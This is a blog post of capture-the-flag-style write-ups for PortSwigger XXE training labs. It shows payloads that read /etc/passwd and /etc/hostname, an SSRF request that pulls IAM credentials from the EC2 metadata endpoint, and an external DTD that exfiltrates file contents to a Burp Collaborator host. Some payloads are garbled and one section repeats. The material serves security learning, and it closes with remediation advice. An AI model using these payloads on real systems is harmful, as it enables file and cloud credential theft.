November 21, 2024

XXE Injection

Prevention of XML External Entity (XXE) attacks | Hdiv Security

Table of Contents

Table of Contents

Blind XXE with out of band interaction via XML Parameter Entities

This lab has a “Check stock” feature that parses XML input, but does not display any unexpected values, and blocks requests containing regular external entities.

To solve the lab, use a parameter entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.%xxe; ]> %xxe; ]>

Final XML request: POST /product/stock HTTP/1.1 Host: ac381f141ffb869ac0445a5e00be001f.web-security-academy.net Cookie: session=xyz Content-Length: 227 Sec-Ch-Ua: “(Not(A:Brand”;v=”8″, “Chromium”;v=”99″ Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Sec-Ch-Ua-Platform: “Windows” Content-Type: application/xml Accept: / Origin: https://ac381f141ffb869ac0445a5e00be001f.web-security-academy.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ac381f141ffb869ac0445a5e00be001f.web-security-academy.net/product?productId=2 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close

%xxe; ]>

22

Blind XXE with out-of-band interaction

Blind XXE vulnerabilities arise where the application is vulnerable to XXE injection but does not return the values of any defined external entities within its responses

You can trigger out-of-band network interactions, sometimes exfiltrating sensitive data within the interaction data. You can trigger XML parsing errors in such a way that the error messages contain sensitive

out-of-band network interaction to a system that you control. For example, you would define an external entity as follows:]>

You would then make use of the defined entity in a data value within the XML.

This XXE attack causes the server to make a back-end HTTP request to the specified URL. The attacker can monitor for the resulting DNS lookup and HTTP request, and thereby detect that the XXE attack was successful.

Sometimes, XXE attacks using regular entities are blocked, due to some input validation by the application or some hardening of the XML parser that is being used. In this situation, you might be able to use XML parameter entities instead. XML parameter entities are a special kind of XML entity which can only be referenced elsewhere within the DTD. For present purposes, you only need to know two things. First, the declaration of an XML parameter entity includes the percent character before the entity name:

This means that you can test for blind XXE using out-of-band detection via XML parameter entities as follows:%xxe; ]>

This XXE payload declares an XML parameter entity called xxe and then uses the entity within the DTD. This will cause a DNS lookup and HTTP request to the attacker’s domain, verifying that the attack was successful.

First step I used burp collaborator wrrcbbhahix1cj0c7k0s7vp3eukk89.burpcollaborator.net]>

From this I was able to receive http requests after modifying the following POST request to the /product/stock HTTP/1.1 section:]>

&xxe;2

Exploiting XInclude to retrieve files

you might be able to use XInclude instead. XInclude is a part of the XML specification that allows an XML document to be built from sub-documents. You can place an XInclude attack within any data value in an XML document, so the attack can be performed in situations where you only control a single item of data that is placed into a server-side XML document.

To perform an XInclude attack, you need to reference the XInclude namespace and provide the path to the file that you wish to include. For example:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

This lab has a "Check stock" feature that embeds the user input inside a server-side XML document that is subsequently parsed.

Because you don't control the entire XML document you can't define a DTD to launch a classic XXE attack.

To solve the lab, inject an XInclude statement to retrieve the contents of the /etc/passwd file.

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>


You can use the following to do this:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Exploiting XXE to perform SSRF attacks

To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server's IAM secret access key from the EC2 metadata endpoint.

To exploit an XXE vulnerability to perform an SSRF attack, you need to define an external XML entity using the URL that you want to target, and use the defined entity within a data value

First off, I used the following template:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck><productId>2</productId><storeId>3</storeId></stockCheck>

Replaced the productId number with a reference to the external entity: &xxe;. The response should contain "Invalid product ID:" followed by the response from the metadata endpoint, which will initially be a folder name

In the response you will see the /latest path and you can adjust accordingly so I just enumerated with
"http://169.254.169.254/latest
"http://169.254.169.254/latest/meta-data
"http://169.254.169.254/latest/meta-data/iam
"http://169.254.169.254/latest/meta-data/iam/security-credentials

Final Request:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck>

Exploiting XXE to perform SSRF attacks

To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server's IAM secret access key from the EC2 metadata endpoint.

To exploit an XXE vulnerability to perform an SSRF attack, you need to define an external XML entity using the URL that you want to target, and use the defined entity within a data value

First off, I used the following template:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck><productId>2</productId><storeId>3</storeId></stockCheck>

Replaced the productId number with a reference to the external entity: &xxe;. The response should contain "Invalid product ID:" followed by the response from the metadata endpoint, which will initially be a folder name

In the response you will see the /latest path and you can adjust accordingly so I just enumerated with
"http://169.254.169.254/latest
"http://169.254.169.254/latest/meta-data
"http://169.254.169.254/latest/meta-data/iam
"http://169.254.169.254/latest/meta-data/iam/security-credentials

Final Request:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck>

Exploiting XXE using external entities to retrieve files

# Exploiting XXE using external entities to retrieve files

Lab: Exploiting XXE using external entities to retrieve files
APPRENTICE
This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.

To solve the lab, inject an XML external entity to retrieve the contents of the /etc/passwd file.

I first intercepted the request after checking the check stock feature

I used the following payload to return the /etc/passwd/

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Note:
Some applications use the XML format to transmit data between the browser and the server. Applications that do this virtually always use a standard library or platform API to process the XML data on the server. XXE vulnerabilities arise because the XML specification contains various potentially dangerous features, and standard parsers support these features even if they are not normally used by the application.

XML external entities are a type of custom XML entity whose defined values are loaded from outside of the DTD in which they are declared. External entities are particularly interesting from a security perspective because they allow an entity to be defined based on the contents of a file path or URL.

Exploiting blind XXE to exfiltrate data using a malicious external DTD

# Exploiting blind XXE to exfiltrate data using a malicious external DTD

This lab has a "Check stock" feature that parses XML input but does not display the result.

To solve the lab, exfiltrate the contents of the /etc/hostname file.

## 1st thing we do is setup a collaborator client:

4sxkcjiiiqy9dr1k8s1083qbf2lv9k.burpcollaborator.net



<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://4sxkcjiiiqy9dr1k8s1083qbf2lv9k.burpcollaborator.net/exploit.dtd"> %xxe;]>
<stockCheck><productId>1</productId><storeId>2</storeId></stockCheck>


## Second craft the response 

An example of a malicious DTD to exfiltrate the contents of the /etc/hostname file is as follows:

Put this in the response body 
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 
'http://4sxkcjiiiqy9dr1k8s1083qbf2lv9k.burpcollaborator.net/?x=%file;'>">
%eval;
%exfiltrate;

What this does is: 
*Defines an XML parameter entity called file, containing the contents of the /etc/hostname file.
*Defines an XML parameter entity called eval, containing a dynamic declaration of another XML parameter entity called exfiltrate. The exfiltrate entity will be evaluated by making an HTTP request to the attacker's web server containing the value of the file entity within the URL query string.
*Uses the eval entity, which causes the dynamic declaration of the exfiltrate entity to be performed.
*Uses the exfiltrate entity, so that its value is evaluated by requesting the specified URL.

The attacker must then host the malicious DTD on a system that they control, normally by loading it onto their own webserver
We are hosting this on Portswigger's provided: https://exploit-acdf1faa1fa0bae2c0e9272f01200015.web-security-academy.net/exploit.dtd

Finally, the attacker must submit the following XXE payload to the vulnerable application
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"https://exploit-acdf1faa1fa0bae2c0e9272f01200015.web-security-academy.net/exploit.dtd"> %xxe;]>


Following these steps I opened up burp collaborator and was able to get the following and submit successfully:
GET /?x=26859a009870 HTTP/1.1
User-Agent: Java/17.0.1
Host: 4sxkcjiiiqy9dr1k8s1083qbf2lv9k.burpcollaborator.net
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

XXE attacks via file upload

This lab lets users attach avatars to comments and uses the Apache Batik library to process avatar image files.

Some applications allow users to upload files which are then processed server-side. Some common file formats use XML or contain XML subcomponents. Examples of XML-based formats are office document formats like DOCX and image formats like SVG.

For example, an application might allow users to upload images, and process or validate these on the server after they are uploaded. Even if the application expects to receive a format like PNG or JPEG, the image processing library that is being used might support SVG images. Since the SVG format uses XML, an attacker can submit a malicious SVG image and so reach hidden attack surface for XXE vulnerabilities.

Goal

To solve the lab, upload an image that displays the contents of the /etc/hostname file after processing. Then use the “Submit solution” button to submit the value of the server hostname.

The first thing I did is look up what this library does: CVE-2015-0250 Found this payload accordingly and noticed that the user in this instance attempted to retrieve etc/passwd.]>&xxe; which results in a JPG file like this:

So I opened up the svg in vscode and added the payload above for the etc/hosts

After this I scrolled through the posts and did an inspect on the images and was able to determine that the output was correct.

Since it defines graphics in XML format then these files create a lot of attack scenarios like we can actually execute the XSS using the SVG file and can do a lot more. We can also execute XXE using these files which we are going to explore in this blog.

Takeaways

If application supports PNG, JPEG and other extension of file while uploading then there might be possibility that image processing library may support SVG files as they are graphics in format of the XML. Now our aim is to upload a malicious image that uses XML as a format with some of the XXE payload which actually fetches the /etc/hostname file if the file is processed.

Now you can see that the image file has been uploaded successfully now we have to check our avatar if it fetched or rendered any useful information.

Open the image in a new tab and you can actually see that it fetched the hostname of the server so we actually executed XXE by an SVG file on this system.

Remediation:

  1. If you are allowing user to upload image file on your server, whitelist the extension and don’t let them upload SVGfile.
  2. If SVG files are business requirements then put a restrictions in place so that the command in those files doesn’t get processed.

Source: https://gupta-bless.medium.com/exploitation-xml-external-entity-xxe-1f5f3e7bc5c4

XXE Information

https://portswigger.net/web-security/xxe/xml-entities

XML stands for "extensible markup language". XML is a language designed for storing and transporting data. Like HTML, XML uses a tree-like structure of tags and data. Unlike HTML, XML does not use predefined tags, and so tags can be given names that describe the data. Earlier in the web's history, XML was in vogue as a data transport format (the "X" in "AJAX" stands for "XML"). But its popularity has now declined in favor of the JSON format.

XML entities are a way of representing an item of data within an XML document, instead of using the data itself. Various entities are built in to the specification of the XML language. For example, the entities &lt; and &gt; represent the characters < and >. These are metacharacters used to denote XML tags, and so must generally be represented using their entities when they appear within data.

The XML document type definition (DTD) contains declarations that can define the structure of an XML document, the types of data values it can contain, and other items
 The DTD can be fully self-contained within the document itself (known as an "internal DTD") or can be loaded from elsewhere (known as an "external DTD") or can be hybrid of the two.
 
 What are XML custom entities?
XML allows custom entities to be defined within the DTD. For example:

<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>
This definition means that any usage of the entity reference &myentity; within the XML document will be replaced with the defined value: "my entity value".

ML external entities are a type of custom entity whose definition is located outside of the DTD where they are declared.

The declaration of an external entity uses the SYSTEM keyword and must specify a URL from which the value of the entity should be loaded. For example:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

Leave a Reply

Your email address will not be published. Required fields are marked *